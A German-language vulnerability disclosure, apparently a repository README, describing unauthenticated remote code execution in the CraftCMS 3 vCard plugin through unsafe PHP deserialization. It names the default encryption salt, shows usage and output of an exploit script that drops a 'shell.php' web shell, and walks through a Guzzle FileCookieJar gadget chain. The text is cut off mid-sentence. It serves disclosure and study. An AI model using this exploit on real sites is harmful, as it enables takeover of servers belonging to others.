
Dieses Repository enthält Details zu einer Sicherheitslücke, die im „vCard"-Plugin für CraftCMS 3 gefunden wurde.
Craft CMS verfügt über ein Plugin zum Herunterladen von Kontakten im *.vcf-Dateiformat namens „vCard“. Das Plugin kann im Craft-Repository und auf Github eingesehen werden: Craft Plugin Store Github
Dieses Plugin nimmt einen vom Client gesendeten Parameter entgegen, entschlüsselt den Wert mit openssl_decrypt und übergibt die resultierende Zeichenkette anschließend an die unserialize-Funktion von PHP. Da der Standardsalt für die Verschlüsselung im Repository verfügbar ist, kann ein Angreifer dieselbe Logik verwenden, um eine schädliche serialisierte Nutzlast zu verschlüsseln.
Wenn der Benutzer in den Plugin-Einstellungen einen geänderten „salt“-Wert konfiguriert hat, muss dieser als Parameter an das Python-Skript übergeben werden. Dieser Wert bleibt jedoch unverändert, wenn das Plugin aus dem Plugin Store heruntergeladen oder lediglich das Repository geklont wird. Es gibt keine Möglichkeit, ihn über die Craft-Web-GUI zu ändern.
Führen Sie das Skript aus und geben Sie den vCard-Link an, der den Kontakt-Download auslöst. Entfernen Sie den Wert des vcard-Parameters.
Der Parameter für das Skript wäre dann: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Optional kann ein Salt-Wert angegeben werden. Alle Optionen werden hier angezeigt:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Das Python-Skript wurde mit Python 3.6 getestet.
Das Skript führt auf dem Host des Angreifers einen PHP-Befehl aus, um die Nutzlast zu verschlüsseln. Daher muss php-cli installiert sein. Dieser Angriff wurde mit PHP 7.2-cli und PHP 7.3-cli getestet.
Hier ist ein Ausschnitt der Stelle, an der der Code unsicher deserialisiert (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
Der Parameter $optionsString ist der Wert des vom Client bereitgestellten URL-Parameters „vcard“. Er wird durch die decrypt-Funktion geschickt und anschließend deserialisiert. Wenn der Client die Verschlüsselung nachahmen kann, wird dieser Code angreifbar, da er direkt vom Benutzer bereitgestellte Daten deserialisiert.
Hier ist die betreffende Verschlüsselungsfunktion (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
Der einzige Wert, den ein Angreifer kennen muss, ist die Variable $key, die durch „VCard::$plugin->getSettings()->salt“ gesetzt wird. Der Standardwert kann im Repository als „s34s4L7“ eingesehen werden (config.php:26) Github
Unter der Annahme, dass der Standardsalt verwendet wird, kann ein Angreifer die Deserialisierung beliebiger Klassen in der Craft-Installation erzwingen.
Wir müssen eine „Gadget“-Klasse in der Standardinstallation von Craft finden, die wir für bösartige Zwecke nutzen können. Wenn wir prüfen, welche Klassen die magischen Funktionen __destruct oder __wakeup besitzen, erhalten wir eine ausreichend kleine Liste. Dies kann mit „grep -rni < Pfad zum Web-Root > -e '__destruct'“ bewerkstelligt werden.
guzzlehttp besitzt eine Klasse namens „FileCookieJar“, die offenbar eine Datei unter Verwendung eines Klassenattributs als Dateinamen speichert:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Eine Untersuchung der save-Funktion zeigt, dass sie Daten in einen Systemdateipfad schreibt, wobei sowohl der Pfad als auch die Daten Klassenattribute sind und sich unter der Kontrolle des Angreifers befinden. Es ergibt Sinn, dass dieses Klassenobjekt beim Zerstören alle vorhandenen Cookies in das Dateinamen-Attribut schreibt, damit sie später wiederhergestellt oder verwendet werden können. Hier sind die Inhalte der save-Funktion, wobei file_put_contents unser Ziel ist (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Glücklicherweise müssen wir die schädliche Nutzlast nicht manuell selbst konstruieren. Das wunderbare Tool PHPGGC automatisiert das Serialisieren einer Guzzle-Klasse mit einer Nutzlast, die wir für diesen Exploit verwenden können.
Ich habe das Tool verwendet, um dies als Basispayload für das Exploit-Skript zu erstellen, wobei es je nach Dateinamen leicht modifiziert wird. Außerdem ist es wichtig zu beachten, dass bei der Erzeugung einer neuen Nutzlast mit PHPGGC der Parameter „-f“ unbedingt verwendet werden muss, da sonst die magische __destruct-Funktion nicht ausgeführt wird: